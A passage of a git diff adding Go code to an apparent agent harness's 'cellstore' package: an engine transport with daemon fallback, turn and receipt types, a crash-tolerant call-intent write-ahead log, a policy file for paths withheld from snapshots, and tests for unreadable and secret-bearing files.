+{"V":1,"op":"intent","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"}} diff --git a/internal/cellstore/testdata/wal.intent.v2.golden.json b/internal/cellstore/testdata/wal.intent.v2.golden.json new file mode 100644 index 0000000000..d42821d86d --- /dev/null +++ b/internal/cellstore/testdata/wal.intent.v2.golden.json @@ -0,0 +1 @@ +{"V":2,"op":"intent","intent":{"V":2,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"local","brief":"sleep 150"}} diff --git a/internal/cellstore/testdata/wal.resolved.golden.json b/internal/cellstore/testdata/wal.resolved.golden.json new file mode 100644 index 0000000000..8f25c8b353 --- /dev/null +++ b/internal/cellstore/testdata/wal.resolved.golden.json @@ -0,0 +1 @@ +{"V":1,"op":"resolved","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"}} diff --git a/internal/cellstore/transport.go b/internal/cellstore/transport.go new file mode 100644 index 0000000000..db265637b3 --- /dev/null +++ b/internal/cellstore/transport.go @@ -0,0 +1,146 @@ +package cellstore + +import ( + "bytes" + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/env" +) + +// daemonEnv turns the engine daemon off when set to 0: every verb then spawns +// the engine, which is always correct and only slower. +const daemonEnv = "CODEAF_ENGINE_DAEMON" + +// Target names the store a verb works on: the engine's data directory, the +// tree it seals or restores, and the directory composed in as that tree's +// .cell/ entry (empty when the tree is the cell's own folder). +type Target struct { + Tree, DataDir, CellDir string + Timeline string +} + +// Op is one engine verb. It knows its own two spellings: the daemon's JSON +// arguments (its struct tags) and the engine's command line. +type Op interface { + // Verb is the daemon's name for the operation. + Verb() string + // Args is the operation as engine command-line arguments, without the + // composed directory, which a Transport adds. + Args() []string +} + +// Transport carries one Op to the engine and answers what the engine printed. +type Transport interface { + Do(ctx context.Context, t Target, op Op) ([]byte, error) +} + +// ErrUnavailable means the transport could not reach an engine at all. It is +// the one error that a Fallback answers by trying its next transport; an +// engine that ran and refused is an answer, not an absence. +var ErrUnavailable = errors.New("engine unavailable") + +// Spawn is the Transport that runs the engine program once per verb. +type Spawn struct { + // Binary is the engine program; empty means the configured or embedded + // engine, checked to be able to seal (see sealingEngine). + Binary string + // Run runs the program; nil spawns it. Tests count and fake spawns here. + Run Runner +} + +var _ Transport = Spawn{} + +// Do implements Transport. +func (s Spawn) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + bin, err := s.program() + if err != nil { + return nil, err + } + argv := append([]string{bin}, op.Args()...) + if t.CellDir != "" { + argv = append(argv, cellDirArg(t.CellDir)...) + } + if t.Timeline != "" { + argv = append(argv, "--timeline", t.Timeline) + } + environ := append(os.Environ(), dataDirEnv+"="+t.DataDir) + return s.run(ctx, t.Tree, append(environ, opEnv(op)...), argv...) +} + +// EnvOp is an Op that carries secrets. A spawn hands them to the engine +// through its environment, because argv is readable in ps; the daemon takes +// them in the request's JSON arguments instead. +type EnvOp interface { + Op + // Env is the NAME=value pairs the engine program needs. + Env() []string +} + +// opEnv is the environment an Op adds to a spawn: nothing unless it is an EnvOp. +func opEnv(op Op) []string { + if e, ok := op.(EnvOp); ok { + return e.Env() + } + return nil +} + +func (s Spawn) program() (string, error) { + if s.Binary != "" { + return s.Binary, nil + } + return sealingEngine() +} + +func (s Spawn) run(ctx context.Context, dir string, environ []string, argv ...string) ([]byte, error) { + if s.Run != nil { + return s.Run(ctx, dir, environ, argv...) + } + return spawn(ctx, dir, environ, argv...) +} + +// spawn is the default Runner. Stderr comes back in the error, because the +// engine's own wording is what a person will act on. +func spawn(ctx context.Context, dir string, env []string, argv ...string) ([]byte, error) { + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) //codeaf:plumbing the seal drives the embedded engine + cmd.Dir, cmd.Env = dir, env + var out, errb bytes.Buffer + cmd.Stdout, cmd.Stderr = &out, &errb + if err := cmd.Run(); err != nil { + return nil, fmt.Errorf("%s: %w: %s", filepath.Base(argv[0]), err, strings.TrimSpace(errb.String())) + } + return out.Bytes(), nil +} + +// Fallback tries Primary and, only when it is unavailable, Secondary. +type Fallback struct{ Primary, Secondary Transport } + +var _ Transport = Fallback{} + +// Do implements Transport. +func (f Fallback) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + out, err := f.Primary.Do(ctx, t, op) + if errors.Is(err, ErrUnavailable) { + return f.Secondary.Do(ctx, t, op) + } + return out, err +} + +// transportFor is the one place a Transport is chosen: the daemon with the +// spawn as its fallback, or the spawn alone when the daemon is off or the +// caller supplies its own Runner (which is a promise to see every spawn). +func transportFor(binary string, run Runner) Transport { + direct := Spawn{Binary: binary, Run: run} + if run != nil || env.Get(daemonEnv) == "0" { + return direct + } + // With no engine to name, the daemon cannot start and the spawn reports the + // missing engine in its own words. + bin, _ := Spawn{Binary: binary}.program() + return Fallback{Primary: Daemon{Socket: socketFor(bin), Binary: bin}, Secondary: direct} +} diff --git a/internal/cellstore/turn.go b/internal/cellstore/turn.go new file mode 100644 index 0000000000..63576c605d --- /dev/null +++ b/internal/cellstore/turn.go @@ -0,0 +1,37 @@ +package cellstore + +import "time" + +// newTurn is the ONLY constructor of Turn (law L2): a turn exists because the +// harness sealed a snapshot, and every field is derived from that seal. +func newTurn(snapshot, parent string, at time.Time, info TurnInfo, receipt string, id Identity) Turn { + return Turn{ + V: schemaV, + ID: snapshot, + Parent: parent, + SealedAtMs: at.UnixMilli(), + Quality: quality(info), + Trigger: triggerOf(info), + Device: id.Device, + Fence: id.Fence, + Receipt: receipt, + } +} + +func triggerOf(info TurnInfo) Trigger { + if info.Trigger == "" { + return AgentRun + } + return info.Trigger +} + +// Identity names the writer of a seal: the device key and the lease fence it +// seals under. Stage 0 has neither a key nor a lease, so the zero Identity +// (an all-zero device, fence 0) is what it uses. +type Identity struct { + Device string + Fence uint64 +} + +// zeroDevice is a device key of 32 zero bytes, in hex. +const zeroDevice = "0000000000000000000000000000000000000000000000000000000000000000" diff --git a/internal/cellstore/types.go b/internal/cellstore/types.go new file mode 100644 index 0000000000..d2b5d68597 --- /dev/null +++ b/internal/cellstore/types.go @@ -0,0 +1,148 @@ +package cellstore + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +const schemaV = 1 + +// Cell-relative paths of the files this package persists inside a cell. +const ( + ReceiptsDir = cell.StateDir + "/receipts" + BlobsDir = cell.StateDir + "/blobs" + TurnsPath = cell.StateDir + "/turns.jsonl" +) + +// Quality is the seal's exactness (SCHEMAS.md 1): Quiescent when no call left +// a process running, Turbulent otherwise. +type Quality string + +const ( + Quiescent Quality = "Quiescent" + Turbulent Quality = "Turbulent" +) + +// Trigger is why the turn exists. Setup turns are the agent installing what +// preflight listed. +type Trigger string + +const ( + AgentRun Trigger = "AgentRun" + Setup Trigger = "Setup" +) + +// Turn is one sealed commit. Field order is the wire order and V is first (L11). +// Times are unix milliseconds (SCHEMAS.md ruling 6). Build one with newTurn only. +type Turn struct { + V uint16 `json:"V"` + ID string `json:"id"` + Parent string `json:"parent,omitempty"` + MergeParents []string `json:"merge_parents,omitempty"` + SealedAtMs int64 `json:"sealed_at_ms"` + Quality Quality `json:"quality"` + Trigger Trigger `json:"trigger"` + Device string `json:"device"` + Fence uint64 `json:"fence"` + Receipt string `json:"receipt"` + ExcludedPaths []string `json:"excluded_paths,omitempty"` +} + +// Range is a byte range, end exclusive. +type Range struct { + Start int64 `json:"start"` + End int64 `json:"end"` +} + +// Call is one tool call in a receipt. For a call whose SideEffect is external +// the output also lives at BlobsDir/ (SCHEMAS.md ruling 3). +type Call struct { + Tool string `json:"tool"` + ArgsHash string `json:"args_hash"` + Started int64 `json:"started"` + Ended int64 `json:"ended"` + Exit int `json:"exit"` + StdoutHash string `json:"stdout_hash"` + StderrHash string `json:"stderr_hash"` + SideEffect string `json:"side_effect"` +} + +// ServiceRec is a process a call left alive. Argv[0] is a basename (L1). +type ServiceRec struct { + PID int `json:"pid"` + Argv []string `json:"argv"` + Ports []int `json:"ports,omitempty"` +} + +// ModelCall is one model call of the turn, by hashes. +type ModelCall struct { + Model string `json:"model"` + Role string `json:"role,omitempty"` + ParamsHash string `json:"params_hash"` + RequestHash string `json:"request_hash"` + ResponseHash string `json:"response_hash"` + TokensIn uint32 `json:"tokens_in"` + TokensOut uint32 `json:"tokens_out"` + TokensCached uint32 `json:"tokens_cached,omitempty"` + CostMicroUSD int64 `json:"cost_micro_usd"` +} + +// Receipt is what a phone needs to render a turn (SCHEMAS.md 5). +type Receipt struct { + V uint16 `json:"V"` + Transcript Range `json:"transcript_range"` + Calls []Call `json:"calls"` + Services []ServiceRec `json:"services,omitempty"` + ModelCalls []ModelCall `json:"model_calls,omitempty"` + // SealedAtMs is when the seal was made. The turn line says it too, but the + // line of a chat's newest turn is not in the log a take carries and the + // receipt, being in the sealed tree, is. Zero in a receipt made before it was + // written. + SealedAtMs int64 `json:"sealed_at_ms,omitempty"` +} + +// Executed is one finished call as the device knows it: the receipt row, the +// processes it left, and, for an external call only, its output. +type Executed struct { + Call Call `json:"call"` + Services []ServiceRec `json:"services,omitempty"` + Exact bool `json:"exact"` + // Trigger is why the call ran: Setup for a setup turn's call. Empty is an + // ordinary run. + Trigger Trigger `json:"trigger,omitempty"` + // Changed is the workspace paths the call is known to have changed; nil is + // unknown, which is what any call that could touch anything leaves. + Changed []string `json:"changed,omitempty"` + Stdout []byte `json:"stdout,omitempty"` + Stderr []byte `json:"stderr,omitempty"` + // Command and Dir are the command line a shell call ran and the folder it ran + // in. They are for the seal that follows the call and are not kept: the + // receipt names a call by hash, and a command line may hold a secret. + Command string `json:"-"` + Dir string `json:"-"` +} + +// TurnInfo is everything the caller knows about the turn being sealed. +type TurnInfo struct { + Trigger Trigger + Calls []Executed + Models []ModelCall + // Changed lists the cell-relative paths that changed since the previous + // seal. Nil means unknown: the engine walks the whole folder, and its stat + // cache keeps that to one stat per unchanged file. Non-nil is a promise + // that nothing else changed, and the engine visits only these paths. + Changed []string +} + +// Sealed is a finished seal. +type Sealed struct { + Turn Turn + Receipt Receipt +} + +// Store seals a cell. The stage 0 implementation spawns the engine per seal; +// a daemon can replace it without touching callers. +type Store interface { + Seal(ctx context.Context, c cell.Cell, info TurnInfo) (Sealed, error) +} diff --git a/internal/cellstore/unreadable_test.go b/internal/cellstore/unreadable_test.go new file mode 100644 index 0000000000..4d06d6f23b --- /dev/null +++ b/internal/cellstore/unreadable_test.go @@ -0,0 +1,228 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "reflect" + "runtime" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// skipIfRoot skips a test that needs a file the process cannot read: root reads +// a file with no permissions. +func skipIfRoot(t *testing.T) { + t.Helper() + if runtime.GOOS == "windows" { + t.Skip("K3: Windows access control uses account permissions, not Unix mode bits") + } + if os.Geteuid() == 0 { + t.Skip("root reads files whatever their mode") + } +} + +// lookAndNote is one seal's screening and the record step that follows it. +func (r *guardRig) lookAndNote(changed ...string) Screened { + r.t.Helper() + got := r.look(changed...) + if err := noteLeftOut(r.cell, r.tree, got, nil); err != nil { + r.t.Fatal(err) + } + return got +} + +func (r *guardRig) recorded() []inventory.Withheld { + r.t.Helper() + inv, err := inventory.Open(r.cell.Root) + if err != nil { + r.t.Fatal(err) + } + return inv.Snapshot().Withheld +} + +func (r *guardRig) chmod(rel string, mode os.FileMode) { + r.t.Helper() + if err := os.Chmod(filepath.Join(r.tree, rel), mode); err != nil { + r.t.Fatal(err) + } + r.t.Cleanup(func() { os.Chmod(filepath.Join(r.tree, rel), 0o755) }) +} + +func TestUnreadableFileIsSetApartAndNamed(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("odd.bin", "x") + r.write("src/app.py", "print('hi')\n") + r.chmod("odd.bin", 0) + + got := r.lookAndNote() + + if p := r.policy(); !reflect.DeepEqual(p.unreadable, []string{"odd.bin"}) || len(p.withheld) != 0 { + t.Fatalf("policy unreadable %v withheld %v, want only odd.bin unreadable", p.unreadable, p.withheld) + } + if want := []Apart{{"odd.bin", reasonUnreadable}}; !reflect.DeepEqual(got.Apart, want) { + t.Fatalf("apart %+v, want %+v", got.Apart, want) + } + want := []inventory.Withheld{{Path: "odd.bin", Reason: reasonUnreadable}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } + if len(r.notice) != 1 || !strings.Contains(r.notice[0], "odd.bin cannot be read here") { + t.Fatalf("notices %q", r.notice) + } + r.lookAndNote() + if len(r.notice) != 1 { + t.Fatalf("a path already set apart was announced again: %q", r.notice) + } +} + +func TestFixedModePutsTheFileBackAtTheNextLook(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("odd.bin", "x") + r.chmod("odd.bin", 0) + r.lookAndNote("odd.bin") + r.chmod("odd.bin", 0o644) + + r.lookAndNote("src/other.go") + + if p := r.policy(); len(p.unreadable) != 0 { + t.Fatalf("still unreadable after the mode was fixed: %v", p.unreadable) + } + if rec := r.recorded(); len(rec) != 0 { + t.Fatalf("record still names %+v", rec) + } +} + +func TestUnreadableFolderIsNamedByItsOwnPath(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("locked/a.txt", "a") + r.write("open/b.txt", "b") + r.chmod("locked", 0) + + r.lookAndNote() + + if got := r.policy().unreadable; !reflect.DeepEqual(got, []string{"locked"}) { + t.Fatalf("unreadable %v, want [locked]", got) + } +} + +func TestSecretAndUnreadableKeepTheirOwnBlocks(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write(".env", "K="+fakeKey+"\n") + r.write("odd.bin", "x") + r.chmod("odd.bin", 0) + r.lookAndNote() + p := r.policy() + if !reflect.DeepEqual(p.withheld, []string{".env"}) || !reflect.DeepEqual(p.unreadable, []string{"odd.bin"}) { + t.Fatalf("withheld %v unreadable %v", p.withheld, p.unreadable) + } +} + +// answering is a Transport that answers materialize with one fixed body. +type answering string + +func (a answering) Do(context.Context, Target, Op) ([]byte, error) { return []byte(a), nil } + +func TestMaterializeRecordsHeldNamesAndLaterLooksKeepThem(t *testing.T) { + r := newRig(t) + e := syncEngineOver(answering(`{"snapshot":"s","held":[{"path":"Readme.md","reason":"same name as README.md here"}]}`)) + e.Target = func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + if err := e.Materialize(context.Background(), r.cell, "h"); err != nil { + t.Fatal(err) + } + if got := r.policy().held; !reflect.DeepEqual(got, []string{"Readme.md"}) { + t.Fatalf("held block %v", got) + } + want := []inventory.Withheld{{Path: "Readme.md", Reason: "same name as README.md here"}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } + + r.write("README.md", "x") + got := r.lookAndNote() + + if !reflect.DeepEqual(r.policy().held, []string{"Readme.md"}) { + t.Fatalf("a seal changed the held block: %v", r.policy().held) + } + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("the specific reason was lost: %+v", rec) + } + if len(got.Apart) != 1 || got.Apart[0].Path != "Readme.md" { + t.Fatalf("apart %+v", got.Apart) + } +} + +func TestMaterializeWithoutHeldNamesWritesNothing(t *testing.T) { + r := newRig(t) + e := syncEngineOver(answering(`{"snapshot":"s"}`)) + e.Target = func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + if err := e.Materialize(context.Background(), r.cell, "h"); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(r.state(), policyName)); !os.IsNotExist(err) { + t.Fatalf("a policy file appeared: %v", err) + } +} + +// TestPolicyRoundTripsEveryBlock proves D2: the required ignore directive +// coexists with every managed block without losing the person's exclusions. +func TestPolicyRoundTripsEveryBlock(t *testing.T) { + p := policyFile{ + user: []string{"exclude mine", "gitignore"}, + withheld: []string{".env"}, + rebuilt: []string{"node_modules"}, + unreadable: []string{"odd.bin"}, + held: []string{"Readme.md"}, + } + got := parsePolicy(p.String()) + if !reflect.DeepEqual(got, p) { + t.Fatalf("round trip %+v, want %+v\n%s", got, p, p.String()) + } + if again := p.holding([]string{"Zed", "Readme.md"}); !reflect.DeepEqual(again.held, []string{"Readme.md", "Zed"}) { + t.Fatalf("holding %v", again.held) + } +} + +// wiping is a Transport that does what a real restore does to the cell's own +// folder: the sender's policy file and record replace this machine's. +type wiping struct { + r *guardRig + body string +} + +func (w wiping) Do(context.Context, Target, Op) ([]byte, error) { + _ = os.Remove(filepath.Join(w.r.state(), policyName)) + _ = inventory.Record(w.r.cell.Root, func(inv *inventory.Inventory) { inv.Withheld = nil }) + return []byte(w.body), nil +} + +func TestAWarmTakeKeepsTheNamesAnEarlierTakeSetApart(t *testing.T) { + r := newRig(t) + target := func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + first := syncEngineOver(answering(`{"snapshot":"s","held":[{"path":"Readme.md","reason":"same name as README.md here"}]}`)) + first.Target = target + if err := first.Materialize(context.Background(), r.cell, "h1"); err != nil { + t.Fatal(err) + } + + warm := syncEngineOver(wiping{r, `{"snapshot":"s2"}`}) + warm.Target = target + if err := warm.Materialize(context.Background(), r.cell, "h2"); err != nil { + t.Fatal(err) + } + + if got := r.policy().held; !reflect.DeepEqual(got, []string{"Readme.md"}) { + t.Fatalf("the earlier name was forgotten: %v", got) + } + want := []inventory.Withheld{{Path: "Readme.md", Reason: "same name as README.md here"}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } +} diff --git a/internal/cellstore/wal.go b/internal/cellstore/wal.go new file mode 100644 index 0000000000..d408ed3167 --- /dev/null +++ b/internal/cellstore/wal.go @@ -0,0 +1,310 @@ +package cellstore + +import ( + "bufio" + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path/filepath" + "strconv" + "sync" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Intent is a call's promise to run (SCHEMAS.md 6): written before the call, +// so process death leaves it behind. C28 groups power-loss durability separately. +type Intent struct { + V uint16 `json:"V"` + Tool string `json:"tool"` + ArgsHash string `json:"args_hash"` + Started int64 `json:"started"` + SideEffect string `json:"side_effect"` + // Brief is the call's arguments in a few words, for a person to recognise it + // by; the hash cannot be read back. Version 2. + Brief string `json:"brief,omitempty"` + // Groups are the process groups the call started, filled in by replay from + // the records that named them. Version 2. + Groups []GroupRec `json:"-"` +} + +// key is the join between an intent, its completion and its receipt row. +func (i Intent) key() string { return joinKey(i.ArgsHash, i.Started) } + +func joinKey(argsHash string, started int64) string { + return argsHash + "@" + strconv.FormatInt(started, 10) +} + +// MayRerun is the recovery rule stated as data: a local call ran with the +// network denied, so its effects were confined to a snapshot that is being +// discarded, and running it again is allowed. An external call is never rerun +// by the harness (L9). Nothing in this package acts on the answer; it exists +// so a surface can say which of the two an incomplete call is. +func (i Intent) MayRerun() bool { return i.SideEffect == string(sideLocal) } + +const sideLocal = executor.EffectLocal + +// Recovery is what a reopened WAL found. +type Recovery struct { + // Incomplete intents have no completion: the call may or may not have run. + // They are surfaced and left in the log until resolved. + Incomplete []Intent + // Completed calls finished but were never sealed; the next seal takes them. + Completed []Executed +} + +// walV is the version of the lines this log writes. Version 2 added the intent's +// brief and the group record; a version 1 line reads as one with neither. +const walV = 2 + +// record is one WAL line. V is first (L11). +type record struct { + V uint16 `json:"V"` + Op string `json:"op"` + Intent Intent `json:"intent"` + Done *Executed `json:"done,omitempty"` + Group *GroupRec `json:"group,omitempty"` +} + +// WAL is the device-local call-intent log: append-only JSON lines, outside the +// cell, never synced. +type WAL struct { + mu sync.Mutex + path string + owner string +} + +// OpenWAL opens the log at path and reports what it holds. +func OpenWAL(path string) (*WAL, Recovery, error) { + w := &WAL{path: path, owner: path} + if err := repairLogTail(path); err != nil { + return nil, Recovery{}, err + } + recs, err := w.read() + if err != nil { + return nil, Recovery{}, err + } + return w, replay(recs), nil +} + +// Begin logs the intent to run a call. +func (w *WAL) Begin(i Intent) error { return w.append(record{V: walV, Op: opIntent, Intent: i}) } + +// Started logs a process group the call has started, so a reopen can end it if +// the session that owned it is gone. +func (w *WAL) Started(i Intent, g GroupRec) error { + return w.append(record{V: walV, Op: opGroup, Intent: i, Group: &g}) +} + +// Finish logs a call's completion with what it produced. +func (w *WAL) Finish(i Intent, e Executed) error { + return w.append(record{V: walV, Op: opDone, Intent: i, Done: &e}) +} + +// Resolve closes an incomplete intent once the model or the person has dealt +// with it. It is the only way an incomplete intent leaves the log. +func (w *WAL) Resolve(i Intent) error { return w.append(record{V: walV, Op: opResolved, Intent: i}) } + +// Sealed drops the records of calls whose turn has sealed, keeping every other +// record: an intent still in flight, a completion the seal did not take. +func (w *WAL) Sealed(calls []Executed) error { + w.mu.Lock() + defer w.mu.Unlock() + recs, err := w.read() + if err != nil { + return err + } + gone := map[string]bool{} + for _, e := range calls { + gone[joinKey(e.Call.ArgsHash, e.Call.Started)] = true + } + var keep []record + for _, r := range recs { + if !gone[r.Intent.key()] { + keep = append(keep, r) + } + } + return w.rewrite(keep) +} + +const ( + opIntent = "intent" + opDone = "done" + opResolved = "resolved" + opGroup = "group" +) + +func (w *WAL) append(r record) error { + line, err := json.Marshal(r) + if err != nil { + return err + } + w.mu.Lock() + defer w.mu.Unlock() + if err := os.MkdirAll(filepath.Dir(w.path), 0o700); err != nil { + return err + } + _, before := os.Stat(w.path) + created := errors.Is(before, fs.ErrNotExist) + f, err := os.OpenFile(w.path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(append(line, '\n')); err != nil { + _ = f.Close() + return err + } + err = f.Close() + commits.mark(w.owner, w.path, created) + return err +} + +// read returns every record. A final line torn by a crash is dropped: it was +// never acknowledged, so nothing depended on it. +func (w *WAL) read() ([]record, error) { + raw, err := os.ReadFile(w.path) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var recs []record + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var r record + if json.Unmarshal(sc.Bytes(), &r) == nil { + recs = append(recs, r) + } + } + return recs, sc.Err() +} + +func (w *WAL) rewrite(recs []record) error { + var buf bytes.Buffer + for _, r := range recs { + line, err := json.Marshal(r) + if err != nil { + return err + } + buf.Write(append(line, '\n')) + } + // A transcript-only seal may precede the first call log. The shared engine + // store no longer creates this private folder as a side effect (D1). + if err := os.MkdirAll(filepath.Dir(w.path), 0o700); err != nil { + return err + } + if len(recs) == 0 { + // The sealed turn and its receipt are already durable. With no older + // unresolved call to retain, truncation needs no replacement-file sync + // on the next command's path (C28/E1). Recovery never executes calls. + _, before := os.Stat(w.path) + f, err := os.OpenFile(w.path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600) + if err != nil { + return err + } + err = f.Close() + commits.mark(w.owner, w.path, errors.Is(before, fs.ErrNotExist)) + return err + } + tmp := w.path + ".tmp" + if err := os.WriteFile(tmp, buf.Bytes(), 0o600); err != nil { + return err + } + // The replacement carries old unresolved calls too. It must reach disk + // before rename, or power loss could erase records older than C28's window. + commits.mark(w.owner, tmp, false) + ctx, cancel := context.WithTimeout(context.Background(), SealWithin) + defer cancel() + if err := commits.flush(ctx, w.owner); err != nil { + return err + } + if err := fsreplace.Rename(tmp, w.path); err != nil { + return fmt.Errorf("compact wal: %w", err) + } + commits.mark(w.owner, w.path, true) + return nil +} + +// replay folds the log into what is open, in order. Each op is one small step +// on the state; an unknown op is ignored so a newer writer's records are safe. +func replay(recs []record) Recovery { + st := &replayState{open: map[string]Intent{}} + steps := map[string]func(record){ + opIntent: func(r record) { st.open[r.Intent.key()] = r.Intent; st.order = append(st.order, r.Intent.key()) }, + opDone: func(r record) { delete(st.open, r.Intent.key()); st.finish(r) }, + opResolved: func(r record) { delete(st.open, r.Intent.key()) }, + opGroup: st.group, + } + for _, r := range recs { + if step, ok := steps[r.Op]; ok && r.V <= walV { + step(r) + } + } + return st.result() +} + +// group attaches a started process group to the intent it belongs to. A group +// for a call that is no longer open is dropped: nothing will ask about it. +func (s *replayState) group(r record) { + in, ok := s.open[r.Intent.key()] + if !ok || r.Group == nil { + return + } + in.Groups = append(in.Groups, *r.Group) + s.open[r.Intent.key()] = in +} + +func (s *replayState) finish(r record) { + if r.Done != nil { + s.done = append(s.done, *r.Done) + } +} + +type replayState struct { + open map[string]Intent + order []string + done []Executed +} + +func (s *replayState) result() Recovery { + rec := Recovery{Completed: s.done} + seen := map[string]bool{} + for _, k := range s.order { + if i, ok := s.open[k]; ok && !seen[k] { + seen[k] = true + rec.Incomplete = append(rec.Incomplete, i) + } + } + return rec +} + +// repairLogTail discards only the unacknowledged tail after power loss (C28). +// Appending to a torn line would hide the next complete call on the next open. +func repairLogTail(path string) error { + raw, err := os.ReadFile(path) + if errors.Is(err, fs.ErrNotExist) { + return nil + } + if err != nil { + return err + } + end := bytes.LastIndexByte(raw, '\n') + 1 + for end > 0 { + start := bytes.LastIndexByte(raw[:end-1], '\n') + 1 + if json.Valid(raw[start : end-1]) { + break + } + end = start + } + if end == len(raw) { + return nil + } + return os.Truncate(path, int64(end)) +} diff --git a/internal/cellstore/withheld.go b/internal/cellstore/withheld.go new file mode 100644 index 0000000000..fbd37ba323 --- /dev/null +++ b/internal/cellstore/withheld.go @@ -0,0 +1,269 @@ +package cellstore + +import ( + "errors" + "os" + "path/filepath" + "runtime" + "sort" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// The engine keeps a path out of a snapshot when a .furrowpolicy says +// `exclude `. The harness keeps its own in the policy file of the cell's +// directory (the engine reads it beside the workspace's), so nothing of ours +// lands in the person's folder; a cell that seals its own folder uses that +// folder's file. Below one marker line sit the paths withheld because they +// carry secrets, and below another the install folders left out because a +// lockfile that does travel rebuilds them (docs/STAGE-1-CONTRACTS.md section 19). +// Two more blocks set single paths apart: those this machine cannot read (a file +// with no permissions, a folder it may not list) and those whose name this +// machine's file system cannot keep beside another's (written when a chat is +// taken here, never by a seal). +// The harness owns only those four blocks. The first three are rewritten whole +// at every seal, so a path a person has cleaned of its secret, or whose +// permissions now allow a read, goes back into the next snapshot; the held block +// is kept exactly as it was read. +const ( + policyName = ".furrowpolicy" + withheldTag = "# codeaf: withheld from every seal because they hold secrets (managed block)" + rebuiltTag = "# codeaf: left out because a lockfile rebuilds them (managed block)" + // unreadableTag and heldTag open the blocks of paths set apart one by one. + unreadableTag = "# codeaf: left out because they cannot be read here (managed block)" + heldTag = "# codeaf: left out because this machine's file system cannot keep both names (managed block)" + excludeWord = "exclude " +) + +// controlDirs are never scanned or excluded: the engine and the cell own them. +var controlDirs = map[string]bool{".git": true, ".furrow": true, ".cell": true} + +// policyFile is a tree's .furrowpolicy split at the marker. +type policyFile struct { + user []string // lines above the block, kept verbatim + withheld []string // paths the harness withholds because they hold secrets, sorted + rebuilt []string // install folders the harness leaves out, sorted + // unreadable is the paths this machine cannot read, sorted; a seal recomputes it. + unreadable []string + // held is the paths whose name this machine cannot keep; only a take writes it. + held []string + ignoredDirs []string // Git-ignored directories with no tracked entries are never screened. + outside []string // the workspace's own lines, when the file is elsewhere +} + +// readPolicy reads the harness's policy file in dir and, when dir is not the +// tree, the person's own file in the tree. +func readPolicy(tree, dir string) (policyFile, error) { + p, err := readPolicyAt(dir) + if err != nil || dir == tree { + return p, err + } + theirs, err := readPolicyAt(tree) + p.outside = theirs.user + return p, err +} + +func readPolicyAt(dir string) (policyFile, error) { + raw, err := os.ReadFile(filepath.Join(dir, policyName)) + if errors.Is(err, os.ErrNotExist) { + return policyFile{}, nil + } + if err != nil { + return policyFile{}, err + } + return parsePolicy(string(raw)), nil +} + +func parsePolicy(text string) policyFile { + var p policyFile + block := &p.user + for _, line := range strings.Split(strings.TrimRight(text, "\n"), "\n") { + switch line { + case withheldTag: + block = &p.withheld + case rebuiltTag: + block = &p.rebuilt + case unreadableTag: + block = &p.unreadable + case heldTag: + block = &p.held + default: + *block = append(*block, managedLine(block == &p.user, line)) + } + } + return p +} + +// managedLine is a line of a block: a user line is kept verbatim, and a managed +// one is the path its `exclude` names. +func managedLine(user bool, line string) string { + if user { + return line + } + return strings.TrimPrefix(line, excludeWord) +} + +// with is the file with its secrets block replaced by paths. +func (p policyFile) with(paths []string) policyFile { + p.withheld = sorted(paths) + return p +} + +// leaving is the file with its install-folder block replaced by folders. +func (p policyFile) leaving(folders []string) policyFile { + p.rebuilt = sorted(folders) + return p +} + +// unreadableAre is the file with its unreadable block replaced by paths. +func (p policyFile) unreadableAre(paths []string) policyFile { + p.unreadable = sorted(paths) + return p +} + +// holding is the file with paths added to its held block, which keeps what it +// had: a held name stays held until a person clears the block by hand. +func (p policyFile) holding(paths []string) policyFile { + p.held = sorted(union(p.held, paths)) + return p +} + +func union(a, b []string) []string { + seen := map[string]bool{} + var out []string + for _, path := range append(append([]string(nil), a...), b...) { + if !seen[path] { + seen[path] = true + out = append(out, path) + } + } + return out +} + +func sorted(paths []string) []string { + out := append([]string(nil), paths...) + sort.Strings(out) + return out +} + +func (p policyFile) String() string { + lines := append([]string(nil), p.user...) + hasIgnore := false + for _, line := range lines { + hasIgnore = hasIgnore || strings.TrimSpace(line) == "gitignore" + } + if !hasIgnore { + lines = append(lines, "gitignore") + } + lines = appendBlock(lines, withheldTag, p.withheld) + lines = appendBlock(lines, rebuiltTag, p.rebuilt) + lines = appendBlock(lines, unreadableTag, p.unreadable) + lines = appendBlock(lines, heldTag, p.held) + if len(lines) == 0 || (len(lines) == 1 && lines[0] == "") { + return "" + } + return 